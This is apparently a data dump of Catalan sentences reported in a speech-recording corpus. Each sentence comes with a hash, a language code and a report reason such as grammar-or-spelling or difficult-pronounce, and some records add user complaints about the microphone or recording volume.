Aleister Crowley va fundar més tard una religió anomenada thelema. c62808a96f66c1e3a60279a4c7733adc3d7bfe52fd3cfd2081efd165dce5c1cd ca difficult-pronounce Les escoles privades havien pertangut a la Wisconsin Independent Schools Athletic Association. c647af397074685e4c02d4f750f0805104c6c13be9ea7bf6e87cff9566de2621 ca difficult-pronounce No obstant això, la guerra no va beneficiar a Al-Arabiya, la més recent de les cadenes de notícies àrabs. c631a8e945bd14efa9ff7f8886440f0fb6062b46aee9465eb93e9e3ef5c3311f ca grammar-or-spelling Katarina Johnson-Thompson, l'heptatleta, va nàixer i viu a Halewood. c64f601f116ffed245817ba7c8be6f02f7edee1b2c2665a2e414bd1c75f8f45b ca difficult-pronounce Mira'm quina és la millor manera d'anar a la Jonquera amb trasport públic. c6d9faf166990b6c7f0f6b5e5d82074fe41cf078e5dda9378543bb4f12913dd6 ca grammar-or-spelling La següent llista és dels patrocinadors oficials de la Lliga, llevat que es indiqui el contrari. c7719dfc44b251ab0bafada670ac0f972e6fc730e017faa08f44dc9f205fadda ca grammar-or-spelling Un fan alegries des de les parades per a un joc de futbol. c740db882a5e82ea983c3c495309cc459ddc1f06118b45efef274e9bbdc66ad9 ca No té sentit Des de finals de l'Edat Mitjana, l'assignació de marques l'administrava els governs locals per mitjà d'assajadors autoritzats. c7b4371d67fd3705ece6092dc9a859dac768af8494ea429d838ce59b99aeaa5c ca grammar-or-spelling La següent llista és dels patrocinadors oficials de la Lliga, llevat que es indiqui el contrari. c7719dfc44b251ab0bafada670ac0f972e6fc730e017faa08f44dc9f205fadda ca grammar-or-spelling Entre aquestes trobem "Faction Paradox", "the Great Houses", "the Celestis", "the Remote" i "Posthumanity". c874298c22d9ab5ebc9882a5e594a1f115091943cc20f267807a79fd4b764092 ca different-language Li va canviar aviat el nom a l"estat a Kokang, i es va proclamar Heng de Kokang. c8a000fc065e87f32606ea83d2c009cd7bc5dc74d1957e982e70e9a5a17de26c ca grammar-or-spelling No era cap excepció. c8890847f2b3eb80c9b45214f4727f7329dc1751f11c2ac5c35a9fc6a4b1d71d ca He mirat d'enregistrar-la però no puc. No és pas per la frase. No sé perquè no la sé enregistrar malgrat crec haver seguit les instruccions La garnierita és un mineral verd que va des del groc verdós clar fins al verd fosc. c7a98af1040258558e74dc444f858ed8057305500c32daa8b91017d81506cd55 ca difficult-pronounce Vull anar a Bellaguarda amb trasport públic. c89428800754f1fe68e09ded992178ff9b8677570875bd9d5770168bd007d1a0 ca difficult-pronounce Es creu que la txèxia és originària d'Uzbekistan. c8e6a6fde8cf978cfbadbe3c48fab6f04f6cd820e64a3ce75b842dd81cd33a12 ca difficult-pronounce Amb Manning, Alberta va esdevenir pràcticament província d'un sol partit. c8da1ca540f749a61705dd6c78abc2af6ed3db393e568948a3bfed36697962c0 ca difficult-pronounce Quan va ser que vam anar a Aielo de Rugat? c79b83a964f596140d6f8712c52e26755298d59bcee3a93938bbe273c041b985 ca difficult-pronounce És parlat pels Ambundu. c8b55e7c580ead7b86a700ee1fcfe17786889ce6dcbea219349ed17299d4401c ca difficult-pronounce Vull anar a Bellaguarda amb trasport públic. c89428800754f1fe68e09ded992178ff9b8677570875bd9d5770168bd007d1a0 ca difficult-pronounce No va jugar. c87656981b8120f01a4a7618fc9c453e208aa98d1da294fb5a787847864e837a ca difficult-pronounce Altres patògens microscòpics inclouen fongs, microsporidis, paramyxides i ciliats. c8cb3d42536b104b61d61920b418555c4b60588f9cad857a244464debb8ace07 ca difficult-pronounce Vull anar a Sentmenat amb trasport públic. c89884b7659b93e5c6023eac0a59bfcb18fe35422b8aca1627568a8551b3399d ca grammar-or-spelling M'agradaria anar als jardins de Beatriu de Provença amb trasport públic. c8cc2593e2a212b01292bb4e555483450cf4f77bb6e3e4cdf17ceea322fc1b87 ca grammar-or-spelling El seu poder "no" era llei. c8df9f86850c30fd2e54fcf42e9515a39dbc340591f2caa4bcba4f5d6d30b48a ca grammar-or-spelling Suposadament una coneixença va dir, "ell pensava que no en Bob no ho faria millor del que ja ho havia fet". c9596ebf642cec0732deb7adf01301cd583850db565776a3b718631db4224f98 ca grammar-or-spelling Com Huguet separa els diferents plans entre personatges? c8ef131cba63e2cb1eecfc8ef7a7462d192b801848ed2fe8f2462cdd4754205e ca grammar-or-spelling Es fa servir la memoització per garantir que cada taula hash es computa només una vegada. c8945df8ee99a59f4f7d22ed4b1f87e49a1b54c3139348f1732c6a26200cd62b ca grammar-or-spelling Cançons com "Smoking Cigarettes" per fer sentir a l'oient la mateixa sensació que sentia Tweet. c9812ffea330e9584a700c5b534d226379342e412e7e90307909bdd58ee1e1da ca grammar-or-spelling Vaig decidir intentar-ho de nou, usant la llibreria de Dragonfly que Tavis recomanar. c998287b65cd1b91828d0fb214d81e4b58ae190ebf73a98a92e4a53baf4aee48 ca grammar-or-spelling Es va desenvolupar principalment com a plantacions de cotó els anys anteriors a la guerra. c88942aeac76ed55db9347ee51a1c12b15ce001e727293ba0832edbb8f56fc1e ca grammar-or-spelling Es van eliminar tots els edificis originals del Kingman Army Airfield, tret d'uns pocs. c94134f16fadf9854262a47024f631d99057b4679a659d566b0ccf1abd8b4ec2 ca difficult-pronounce Beryl va néixer a Egham, Surrey, i tenia tres germanes. c9acca055db957b3416eb9ccab0d05bc923896b1ecadaff3a2a3398791305f0d ca difficult-pronounce Abigail Woolsey Wells va morir uns mesos després del dotzè aniversari de Fitz Hugh. c98d0d37fbaa94804d4571094f5a878f310456e91ed58950ebdcea70ae43a9d3 ca difficult-pronounce Per què, és un llibre amb mirall, és clar! c957365e4204cdbadb6b4bdd26c7e587c48c7a183a43baab9ec4634756bd850f ca grammar-or-spelling Aquesta fusió només a tingut unes quantes complicacions. c9c1919822afdd5728213ea0b32aaf5809605a35f338a8b947fd2e0ae9e904c2 ca grammar-or-spelling Horaci li hauria dit: «Espera-t, que m'ho vui apuntar a la llibreta!» c971b78be54b8cdc8aac5c5d94ec7a4fc30770ba159880f348b3ecf55ae1300a ca grammar-or-spelling Aquesta fusió només a tingut unes quantes complicacions. c9c1919822afdd5728213ea0b32aaf5809605a35f338a8b947fd2e0ae9e904c2 ca grammar-or-spelling Les operacions del banc es van fusionar amb el East West Bank. c97636377e2b1e5b0055e92bf2e898ed27a59a78eea2b5882ac2b8fe0a90c6d2 ca grammar-or-spelling El col·legi militar otomà va ser un era un col·legi militar de dos anys de l'Imperi otomà. c9d52318febfab58de65c10d5ea9f3ea53594a24566b8a3141011a39ff42957e ca grammar-or-spelling De vegades, veus les coses de manera distinta a la resta de gent. cac70fe47de93b80889305dd43631758a6bd12db442a9a836f6504ab0c47d0fa ca grammar-or-spelling Afegeix a l'agenda el número de la Ramona Abdellaoui: sis, noranta-tres, vuitanta-u, seixanta-u, quaranta-set. ca65c31663c5b9f413d5db40db1689f12cfb68c2a604e5020dd52776f0856610 ca difficult-pronounce Com que la seva forma de vida eren tan semblant a la dels gitanos, el grup va adoptar el nom de Gipsy Kings. caed9f834d06c09a1ce5b31644859fe427e7614185ad3cae3354f54db4aa1432 ca grammar-or-spelling No em va anar tan malament quan em va arribar el torn. ca68f5877d3a3049514aed5f809825f07b5bad98081e209416d7540ab362426f ca grammar-or-spelling Com es fa per anar del passatge de Boné al carrer de Meer? c9e14518b6d5fb32c5f53bd88d28a9396d8e8439be3bacca3d931ec8b40d8aec ca difficult-pronounce Va escriure més endavant que havia votat a Chris Huhne. cac65942feeb07e4f07e0e0e6df5b1bc40fd23c4014c47ec705a73858244c3fd ca difficult-pronounce He d'anar a Talavera amb bicicleta l'onze de juliol a les nou. cace7f324f7a40bb7a30fa572c68843997c68a3a4c9c71465dd68c1ece1b2c97 ca Ok Severi va néixer a Arezzo, Itàlia. cad652575ff24868c99ba0d82bab0a0d33d4f33dfe48f96ff21ac370d1d441ff ca difficult-pronounce L'Escola també acull un grup dedicat la recerca sobre la presa de decisions en entorns extrems. ca3a3edbc1419db4670fa9d945b5586b32987c62de4868ce1a82f2c4b4d86726 ca grammar-or-spelling La "Deroceras reticulatum" és un llimac molest a tot al món. cb21c12fc2845f17444a52c8e3e0c82b1b3b67e3150717b4e7069801ec5ecd90 ca grammar-or-spelling Han anat de gira amb Jane's Addiction, The Raveonettes, Placebo, The Killers i Editors. cb7a5814890590d30b386957944fd93f7554d7050ff31938a397864e608e5835 ca difficult-pronounce He d'anar del carrer de Pizarro a la parc Forestal de Vallvidrera. cb811d47bfd65889969e7644251cc0249662b9060183b3bc8bd333eaeb069cee ca grammar-or-spelling Després que el grup guanyés un concurs local, van enregistrar una maqueta com a premi. ccb21653d1b8ae447cc1528120794d8ae98384e912497e9d32693f115cdf5850 ca Millor: "reprimit" que "suprimit" L'educació es va valorar cada cap més. ccdc79084c0f49d46068a48b88e97817194d161221ebd96c190a0eff61dc28b1 ca grammar-or-spelling La part final, "el que és la vida", detalla com les dues germanes són finalment reunits. ccacc2119e8fd9dcce25376676f86ba5825ee92020c7926fe3803760e23d7e94 ca grammar-or-spelling Divendres hauria d'anar a Formentera del Segura. cc941572cc53fc931f271b332c4e682db11620f226564b9bdb89b01d8a6e6635 ca Em diu contínuament que el volum és massa baix La majoria de persones sobreviu al xarampió, però en alguns casis ho pot haver-hi complicacions. cd0a461997585f200f0f35d162d71764dc1afc026c704d0411be4628036313b8 ca grammar-or-spelling Ella va actuar en més d'una cinquanta actuacions professionals de dansa a tota l'illa. cd4cd6c4f65ee81d7c8ff0a62ceda5d39a30433391220bee37f74979ed0d8319 ca grammar-or-spelling Quan els ferrocarrils van arribar a en aquestes àrees, el carbó importat va substituir el carbó produït localment. cd8ae5d672455ee9833eb3467ccd2c4e5850bf1cae9f697f9b4b699a65247175 ca difficult-pronounce Sembla que no s"ha debatut gaire, tot i que s"han suggerit altres noms. cdd53adab522be4f3982574e2e03028f3fdea7a69f0c0d25262d6d4cabc97ac0 ca grammar-or-spelling Només es van construir nou i cap va assolit l'estat operacional. cd67c8d83d3d6ad3728b7600e990eff42940922b6fd63a4636962400b12f9686 ca Li falta el complement. Hauria de ser «Només se'n van construir...» El seu fill William Bates va tenir una llarga carrera de primera amb Yorkshire i Glamorgan. cdda0dfaa41c0614121e7809a6cd2a69ff580803de72a172fd67e1548e668a20 ca difficult-pronounce Els expansors de visió òptics són una altra opció per a pacients amb hemianopsia. cd9e511ab0a198558e702e99fb74993af905d698bafb52100f32c6ff44dc5396 ca difficult-pronounce Va ser dirigit per Dana Case. cfe75dffb781b17ab9a483ea3f2a02abce6fd93133eb6ed8096fc21c74ee0668 ca No em surt el quadrat per poder-ho enviar La seva veu, però, no va ser suficient per a l"espectable i va optar per actuar. d05e20d3f1277c38d47a3c813857bb236083b8ead5f9a27fa10cdc1e4c0bd271 ca grammar-or-spelling Els noms dels membres van precedits pel número dels seu districte. d0ae1e5ec20164c007d7e1c186940761104693b149bda73386d0e47d12d5f397 ca grammar-or-spelling El comptat de Delaware és on es troba el futbol femení professional de la zona de Philadelphia. d11ed3dc685198c0d5e56ccb2c61827a76965b3feeaf7313605c319a5a2e9c02 ca grammar-or-spelling En ocasions, l'orina normal adquireix un tinc blavós en contacte amb el peròxid d'hidrogen. d0d5fd56b1e6d706efa2fb8935247cd6b7dfbfca11074d1de7d715a4e784f744 ca grammar-or-spelling No veus que t'odio? d23f81612ba5bce009cc1f079fbbceb4f5bcf29bca132f788ece78f2c0a7b441 ca offensive-language S'afirma en aquest moment que va decidir suspendre l'atac. d2441dddae19a09bd6da6bdd46e67548fbd4c91afe7e56238d69bb37090c6d8e ca grammar-or-spelling Quan passa l'autobús pel carrer Petrarca? d1e241387aadfa21838077171e6593cb2930e01c968df906eeb4048787bb126a ca difficult-pronounce Les principals diferències inclouen el processament del llançament, el concepte operatiu de la plataforma de llançament i alguns components principals. d2617931c0e9d4acc3f27046ce91261598007cb273576866d3d8d2013f012a39 ca Em diu que l'enregistrament es massa llarg Ford va escriure nou dels dotze cançons. cea1eb85752ad3880729e963eb50fd1214ee1d46cf6520509728bbaa7ea8866c ca grammar-or-spelling Originalment s'anomenava "Kearsarge", un mot nadiu nord-americà que significa "lloc del cel". d38df16c3004554f6d8ca9d588b667e9338c758dbaa944386c4abc683be696cd ca difficult-pronounce Pere està estudiant per ser enginyer. d36ec1ce51373de23b1c83f51e36162afe534aa83a8ff57c1554979bb2bb8fe1 ca Sempre diu que el volum d'enregistrament es fluix i tinc el volum mòbil al màxim no entenc res Lacy i va ocupar el càrrec durant dos anys. d05daeca600c36c3132f35cd104a4cea10ce86606accd426f3f96b6a20bf3ae2 ca grammar-or-spelling M'agradaria anar a Llobera amb moto. d45e4e1dff4b93a142fe5ae1f00c226d8962d9521f0eb32860fac4feb3024656 ca grammar-or-spelling Els testos de poda ajustables mitjançant tornavís definien les configuracions, de les quals hi havia una mitja dotzena. d548237ac707a0eded1aebab1aad7b6b1c2c49f20879d0b6085a0ed3d87ed949 ca grammar-or-spelling Una persona amb un top negre i un casc de bicicleta fa gestos mentre asseu en una bicicleta. d51ec1d7c67e91556b8c6ae6ce680a388f5df669ffd432d2e7ae60385e15a202 ca grammar-or-spelling En obrir el canal de Schlemm, s'alleuja la pressió a l'interior de l'ull. d581f54f8190a7478313f626496e6a1ebec1e27b2852f8d0386a784d43c098dc ca hem diu que el volum de l'enregistrament es massa baix. El tinc al màxim i cridant Els batswana nadius han apreciat aquest gènere des de llavors. d5a334352eceb31c96ce2e545394b70207f5d4f8b3b254b02bde2738757202d3 ca grammar-or-spelling Un ancià cavaller tractant de reparacions en una bicicleta invertida al costat també un vehicle de plata. d5b543f97b6e6111e87424982534a0d29488b2aab4449da03ca786105ae1fe47 ca grammar-or-spelling A quina hora passa el primer autobús per Arenys de Mar el vint-i-tres de maig? d6696fa4e8c82573f99da207b6ee28031d88e273c19454893130b8c4fbc9aaba ca grammar-or-spelling Aquestes peces poden ser capturades com qualsevol altra. d630629b15fc37b263b56e68ecd89b73837c900b3f3ffa3d559468848d114773 ca grammar-or-spelling Visc al principal. d6138c94dfbe0042b03f37e30b016316d5fbd5a0aecb30fe5d209cee4a58a6f8 ca difficult-pronounce I potser no és ells m'ensenyessin, sinó que jo aprenia d'ells. d6617eb9234cd88202311513ceabad22099ad10b81e03f0a71f98e8a187de9cd ca grammar-or-spelling Ford va escriure nou dels dotze cançons. cea1eb85752ad3880729e963eb50fd1214ee1d46cf6520509728bbaa7ea8866c ca grammar-or-spelling Una bon comiat a Hicks i Gillett. ce8a1150ef9ead42706750dfb2733b0d154e0073d3d09356017aade1823e67e6 ca grammar-or-spelling Ford va escriure nou dels dotze cançons. cea1eb85752ad3880729e963eb50fd1214ee1d46cf6520509728bbaa7ea8866c ca grammar-or-spelling Gairebé tots els demés cotxes són taxis. d63a8a65c172962727d8069968f36b151fe31a7acef9429a76ca08123fd6f4be ca grammar-or-spelling Per què es va semblar molesta la vella guàrdia? d6984894e7894073e73f609a21d12eac4405525bcaff4f61669b621f190a0870 ca grammar-or-spelling Tychy està agermanada amb la ciutat de Milton Keynes del Regne Unit. d70bc624c9af6cd58eff41a82312fe1a1a6713cea013d6ae365b02089ea5a78d ca difficult-pronounce Brocket va heretar dues grans cases: Brocket Hall a Hertfordshire i Bramshill Park, a Hampshire. d7a97d50770140eb48190ca23fef8b3415c93f609de179882012010f9ef83d8b ca difficult-pronounce L'oficinista ve mirar-lo de manera estranya. d80ab879289ac14887f89fa83ad8f382cc7a7002f2cf62e8f040a7b08ca028c2 ca grammar-or-spelling Lacy i va ocupar el càrrec durant dos anys. d05daeca600c36c3132f35cd104a4cea10ce86606accd426f3f96b6a20bf3ae2 ca grammar-or-spelling El treball de la seva de tesi es va incorporar en gran part en un llibre. dafd0f444963be1e39f379d0ae6288e3c9ed0cdad8cb161e8edb5ecd8f912591 ca grammar-or-spelling Ell no més havia de fer l'home, que per això duia pantalons db59c205055cd30fffd38c7b1488ca3f362b42e7ab0020cd6e3a928613edf7fd ca grammar-or-spelling Un excés de radiacions infraroges suggereix la presència de pols circumestellar en aquest sistema. db3fbb54cf80d2670b4ab0920545a8163ccdf81c0a554e0a4228fa42c1b9de8c ca grammar-or-spelling Normalment és impracticable, però es creu que s'assequi en rares ocasions. dba6e05280857022b1081abceb59bbdfc8d4893ad20fb14047fd8b66de3ec735 ca grammar-or-spelling Ford va escriure nou dels dotze cançons. cea1eb85752ad3880729e963eb50fd1214ee1d46cf6520509728bbaa7ea8866c ca grammar-or-spelling Telefona al sis, trenta-set, tretze, zero, tres, vint-i-tres. dc82608eb0519d5e23fc47b1aaf19ffce8949a5f24fb8542d2c808eb020b4069 ca És llarga em dieu Simret Bassra-Brar és l"editor de la revista. dc53417737b289bf103cff8b007ef39cc8ba801e6450a0d91fe1653f9c677862 ca Dieu que és massa llarg l'enregistrament Cristal·litza en el sistema ortoròmbic en forma de masses que van del color groc translúcid al verd groc. dd3365d0e554aa903a7cf286c0d7ac20e9dbcafca23975b5432d24f96f6d90fa ca grammar-or-spelling Després d'una nit llarg, ella va dormir fins tard. ddab776eb04bb607c90b38e60b6bcbf9ccc4858b4f625f514fd896fd21259322 ca grammar-or-spelling Al voltant del turó de l'est de Chisholm es pot trobar riodacita. ddf2a38a8c16ac446c904630ef972a173557ae356c4519d38c6e17b05a8a1efb ca grammar-or-spelling Quan dos equips van empatar en el primer lloc, s'enfrontarien en un playoff d'un partit. de1642481d281ac3aeed451f8da2a3b6ab975448cf23dfba95cb7478a2f970a6 ca grammar-or-spelling Els altres premis de són designats amb estrelles de servei. de3d5665584b4663e8a4d0167b8aa478c713eda345587b9216bc2ef91cb76d9f ca grammar-or-spelling Després d'una nit llarg, ella va dormir fins tard. ddab776eb04bb607c90b38e60b6bcbf9ccc4858b4f625f514fd896fd21259322 ca grammar-or-spelling Durant el mandat de Hoan, Milwaukee va implementar el primer sistema públic d'autobusos als Estats Units. de382a1e322743966b984859bfe3eaae0d080d06e0a6d9473fc9d8265a00f7b1 ca conté paraules estrangeres Cada any, els membres de la comunitat celebren el Cleghorn Harvest Festival. de88e32a0c813c17f3f53a4438fa57ed22ca137334a03e0dcfb384f81eae0dad ca No funciona el micròfon Abans, la població era prou gran com per donar suport a una escola. de88a8c66ef1cf4d56158f67f19f4b949356f700e92bff108b3baa8457d24894 ca Hola! Puc validar frases gravades pero no veig la manera de gravar... apreto el botó del micro q queda en una rodona, llegeixo la frase pero no veig q gravi, ni s'envii, ni canvia de l'1 al 2... no sé quin és el problema... :( Un besnét de Teitelbaum d"aquell matrimoni va ser Rabbi Yekusiel Yehudah Halberstam de Klausenberg. de54180e42854f10280ceef38942ac546b24fa544765b117a2a243d16854a8a8 ca different-language Hi ha diverses comunitats dins de North Brunswick. df5edd84ffe403b8d00a43d032ce6f32107850799a0a9fbc573a53474aef6886 ca different-language On viu a Sevilla? dfaba07c62667ca0daebe633df42be0e43ca57e20cddf7187ea3f3648529e447 ca No amb deixa enregistrar la veu, per molt q premi el micròfon El programes familiars poden incloure pel·lícules, drames, comèdies de situació i informatius. dfe2acbe8d2b48a9b76da6fef691b64937b7a31ed649c93efe1a0905433b3b1e ca grammar-or-spelling Biberstein està situat en la riba nord del riu Aar, prop d' Aarau. dff0cbf3248058f5dbd272000f5a0149fec54aafe0aaeca21742d5b49f8504c7 ca grammar-or-spelling Mastegar gel por reduir el dolor que provoca la glossitis relacionada amb anèmia per dèficit de ferro. d606ef62d159c5bf58256d3956db4b352763e666bad385a63a01dd6edb356bdf ca grammar-or-spelling Mastegar gel por reduir el dolor que provoca la glossitis relacionada amb anèmia per dèficit de ferro. d606ef62d159c5bf58256d3956db4b352763e666bad385a63a01dd6edb356bdf ca Pot en comptes de por Pots parlar més a molt a poc, que no t'entenc? e055e7f1801d952ee78a47c04ad3966ed5a30687e42ab7122f1918d9f8ada6f7 ca grammar-or-spelling L'institut ha fet un treballa pioner en planificació urbanística i d'habitatges de baix cost. e048ff8bbe03ae2c3eb42191f7a98246cb98599aadaf677aabd13fc510e7ccb7 ca grammar-or-spelling Lacy i va ocupar el càrrec durant dos anys. d05daeca600c36c3132f35cd104a4cea10ce86606accd426f3f96b6a20bf3ae2 ca grammar-or-spelling Quins és el teu estat? e0d0d9416b99a94a0353dd598ab5b3718b2724c0dc8d839dfd185562dca69eb2 ca grammar-or-spelling Exercite la imaginació vinculada a la paraula i a la creació de mons imaginaris. e1bea7f0471d69a04789c9e00ca6874122dbabc62d92e4c870a4be6371d75e65 ca different-language Va morir a Pàdua, Itália. dde6e786cc3bc61314e9c6661b76632d4df97869c2752f4a20616d52c3122b57 ca grammar-or-spelling Les trilogies es realitzaven en seqüència en un sol dia, des de l"alba fins a la posta de sol. e31ac82c25f9d06574ad6674148e9c9da1354d444e2d7a34810780be81219685 ca grammar-or-spelling I no pudies deixar-lo anar? e2da3108b8189fc790c49f571cfd7d825baa3fa794b158bf873613ad5ba9eedf ca grammar-or-spelling El mineral és presentat en masses, dendrites o aurèoles, i mai en cristalls definibles. e4d701a413459bede49b8c5350bdd93998185b74f9d98e78e4eb42827d03a169 ca El mineral es presenta en masses, dendrites o aurèoles, i mai en cristalls definibles. A Vallés hi ha estació de tren? e40dc2d14c5b82b7ddf9fdd36ef1247573f62420b10cfb3210b8d55b21c0aa8b ca grammar-or-spelling Solidar la pau entre dos pobles. e46066a3903a86727fb880dd1a85a2072d25c1af3348485bd20992206b4bca71 ca grammar-or-spelling La ruta final estava en Baltimore, Maryland. e473dbb8d40314193e764ecc2cd587b9f6d6803f42a7f0ecb2922b5b610484a7 ca grammar-or-spelling N'hi ha prou amb donar les indicacions al nen perquè efectuï el dibuix d'una casa. e4fcd6d84f7889d84f79d4af6ce11c7ff2ba3da00749aa35944abe05c44e1eb3 ca grammar-or-spelling Posteriorment, se submergeixen les patates prop a un mes dins les aigües d'un riu. e53c732c26b751dfad522b80a6d75afed795f3e4ab454d744dbb141987a1020d ca grammar-or-spelling Després va enviar una delegació per reunir-se amb els orientals a Constantinoble. e5efc1b6ead8908a4ea9993b2d20e3612be2578d6bf527f9b133436e588780cc ca grammar-or-spelling Molts jugadors de primera línia s'han anat per formar part de la lliga de futbol canadenca. e5e0247e81709c32d1e000fecd16ff6d6c80b5adbdbb28a896bf694980853f91 ca grammar-or-spelling En el vessant meridional fluïxen rierols curts i de molt escàs cabal. e60f911f8a49f0a798555078586ccd934b32a96a84c425820520c5ff686b4a84 ca grammar-or-spelling La coberta és una volta de canó de tres guixos de maó. e627e0e0080adf1c506f0c13537f2579530190cc5e4c934246fd4be650760fe3 ca grammar-or-spelling Havia una església Wesleyan i els catòlics romans eren propietaris d'una secció. e57ad48eb1e38f0c287fb6ff7b98c2fd42096d9174bf44037b58006ca5459207 ca grammar-or-spelling Quatre anys més tard va ser promogut per associar professor. e70d47b9a80581b2cab8684b87547ab028a39c0fca2bb962f73ed968cd372395 ca grammar-or-spelling Les trilogies es realitzaven en seqüència en un sol dia, des de l"alba fins a la posta de sol. e31ac82c25f9d06574ad6674148e9c9da1354d444e2d7a34810780be81219685 ca grammar-or-spelling Un gos corre per l"aigua amb un pal mentre altre gos espera. e79c3856bccff6bd44679462f8c5a46f015c89cf48be4549da912f593ac76e03 ca grammar-or-spelling Hawkes va morir a Providence, Rhode Island. e77b375b693a5020f78855722a823cabf3761c5b76ad286e83a0727a4f3201a3 ca different-language El procediment bàsic consisteix en mesurar la rapidesa amb què les persones classifiquen estímuls com a paraules o no paraules. e75e91cd4493bf0a3cebce51264a0e7178d05ae6ff5490b1c6d001c5e2b528ae ca grammar-or-spelling La majoria dels pagesos eren serfs sòrabs i va haver de fer feines pesades. e7890ccee22d89d7adc9fab208890dc0fe244b3475d9473d9239869078e7a1d0 ca grammar-or-spelling També estava prohibit portar calçar dins del recinte. e7a68192c381ba56450ecdcd4b683014255c74110f5f5f3c4fbdab8958df621b ca grammar-or-spelling Aquests superfície d"arbres antics contenen freixes, aurons i avellaners. e785da29ffb799e25c24b2a47a6e7def6b53f1b2cff3581841cc4033d0538535 ca grammar-or-spelling La indústria també hi és una important font d'ingressos. e79990dff0a1218ba09b0d4b334549587d42866e539968e0f1320e04423fa87e ca grammar-or-spelling Homer el treball d'Inspector de Seguretat, amb un augment. e7d621c98ae1d8d96d0637c839e57ee0cc0c7f885d7a00bbbd8c72a3dfd3f7a2 ca grammar-or-spelling Moltes de les famílies pioneres del districte de Penrith eres originàries de Castlereagh. e829679df52eb07ae15295fa613451a20d2ac78036d4d5527ee354467521a209 ca Problemes d'activació del micròfon. Els grans canvis que es van fet en els mètodes agrícoles van fer possible la Revolució Industrial. e8cdc695c4ad1d9f9323e12255fd6e97a245964d215bc1d6e68666feeb33291d ca grammar-or-spelling El buit de la torre conserva l'escala de caragol i els escalons. e89b512b7968299562ebc5f90077cce01cd8df7d479be6dcbcc0c3df75976101 ca Em diu que el so és molt baix per gravar, abans no em pasava, sempre ha gravat igual. Com es fa per anar de la jardins de Mossèn Costa i Llobera al carrer de la Gleva? e90b165945f73c44ad5a5dafe1e755c7132989ad709f87c0ec2eff4919e0011d ca grammar-or-spelling Quan se n'assabenta, Mitch comença a abusar físicament d'ella. e94dcb7f5e87ac1bbde4c072edd7f0e2dca24272836bc1b77bbb46b37a6c2b67 ca A totes les frases només hi ha vocabulari normatiu. No hi ha article salat, ni sinònims geogràfics correctes que veiem al diccionari Català-Valencià-Balear. "No vaig ser jo qui ho va enviar", va dir en Ricardo a impaciència. e949d67fe3e8a3e36048578082d5124f5faa2ffcd55399b48db78c2f67530d8e ca grammar-or-spelling Gran part del vanadi s'utilitza com un aliatge de l'acer anomena ferrovanadi. e95d586479038ab2041878e7f6d84f98b68748e6e8b1d22179aa83a548f2d383 ca grammar-or-spelling Finalment, els dos van estar d'acord amb què l'amor i el companyonia són més importants que el sexe. e969f4a105da1ad58a6fbdb056308eaecb862dff543ea7f629ecfde547bcfc45 ca grammar-or-spelling Les dones caminen gossos en un patró circular sobre terreny herbaci e9702de78995da036803eea23c25c5b0bd67fde351ed2a5ea1f93f2ec4ceb7dc ca grammar-or-spelling Wells, i va trencar la relació amb Wells quan la seva altra amant, Rebecca West, va quedar embarassada. e9887ea8efd23ab10d2a28726418bfc5a61070a2a7f6d9d7637ca14e88e6171c ca grammar-or-spelling L'antic defensa dels Indianapolis Colts, Chuckie Miller, és el seu cosí. e98cf3db5cade45294c1b118f34029006daee88190e8939c44994132bb57e448 ca No em sent Aquestes característiques ajuden animals, com la papallona '"Helicoverpa zea", evitar els depredadors. e9887b3f7a7e518c9971b320565b2ac465413958752181e92e6b51c8078a793e ca grammar-or-spelling Els japonesos van capturar a tots els supervivents de l'illa, la gran majoria civils. e9df8c20639d7d6a0a60eb5f3c3b2e95a20b63aeab524129931129c5cf47f822 ca grammar-or-spelling Què els jueus són odiats i necessiten protegir-se? e9dd94123503a883d347651a69ea2aba83c680862857415fcb5044357f02f4cf ca grammar-or-spelling Més de lo que vostè es pensa hi miro. e9b443a4beaf64f4b0efab517344db4b0ef674747a6c9ff2f5960b9f4ba59553 ca grammar-or-spelling En topar amb un nen que no semblava natiu, li va preguntar d'on era. e9e032dc72783d798bfac4310118afc087b30a2b07d88bbca86e27f6d07548c0 ca grammar-or-spelling Les seves potes eren primes pel que probablement era un depredador d'emboscada. e9ab156a1d8a05def3c611411fc0d7ea28ec57d1db77ef832b1c1fa064c8edeb ca grammar-or-spelling Al seu rostre tenia ara un aspecte d'atractiu desitjós. e9a6d5a23a6632123f52ce6be0036ab0d655570dd6778a9d4d051c81983442fd ca grammar-or-spelling A Anglaterra, l'ociositat es considerava un delicte de desordre públic i es castigava com a una falta menor. e9efe4e2af97531d17eaf94b18b2298b2bfc43fa9f18fd51ab0225b8a6ef007b ca grammar-or-spelling Les "paraules màgiques" que fa servir són "R-A-G-G M-O-P-P". ea12c6c9ed60d3ba3e9d16d6fe395f5f9acd4d3513800f7d1777cc0353bef902 ca grammar-or-spelling Apunta a l'agenda el número del Álvaro Granell: sis, noranta-sis, quaranta-sis, noranta-nou, trenta-quatre. e9cec5165a1c3d05920cc3fc2a17df34552a5c7d275d092caa9ef496ab2fd498 ca grammar-or-spelling Aquest va ser l'àlbum final amb el membres originals de Toto. ea1e68aff1086dfef48ea191facd52adde89c3997e85b7bf0cd3e708073bd57c ca grammar-or-spelling "Carry me back to old Virginny." ea361330078ccbc200b36cfee0ea2cb7c5f1588db859c371713b91291fbc72c0 ca grammar-or-spelling A quin anunci es refereix el el teu pare? ea5a5aed82efeab99b8f2036273b7e4ba28fc6cb1a577c6c74e2081c17af57ed ca grammar-or-spelling Willie Nelson i Robert Earl Keen. ebb164efcc98ff66a995e0fbfe0540e9b75eda369008a8b6c18d1ea3da58e7cc ca different-language En el seu camí de tornada, es troba amb una Enchantress empresonat. ebd358c5437abccb6feb8f2a98553137b5ea35eed27dd065a8c24df13c233d1a ca grammar-or-spelling Desconeixem si abans que aquesta capella n'hi va haver una altra. e9c6c9cd402762d53d61e5ed6ec3bd6dffde0324a2ad7bea706fcf58d24f0996 ca grammar-or-spelling Quina botiga hi ha al carrer dels Nou Barris número dos? ec437a5f8cf212730f5f2b99e486b7cc184aaa8631e0c023ef483e13ed9a4e08 ca grammar-or-spelling No obstant, va canviar de actuar amb Robert Lindstedt més endavant durant aquell any. ec7a506e4341ae5551f04aae5cd72fee2c8e89bb056612c60a4887350b9c7a76 ca grammar-or-spelling L'obra continuà representant-se en els anys vint. ed94c50cf3c379a765769196603fc008893a8dc3211ca35498b175e6df8c6395 ca En aquest i en molts altres enregistraments no hi ha gens de so i, aparentment, no s'acaben mai. Normalment els "ometo", però no sé si els hauria de rebutjar. El arquitecte era Hiroshi Hara. edee2a6721462c85ec419226c7ce5a10c7671b4d4301a60f82ce6eba5dcbf3fc ca grammar-or-spelling Diversos països disposen de bases de recerca a les illes Shetland del Sud. 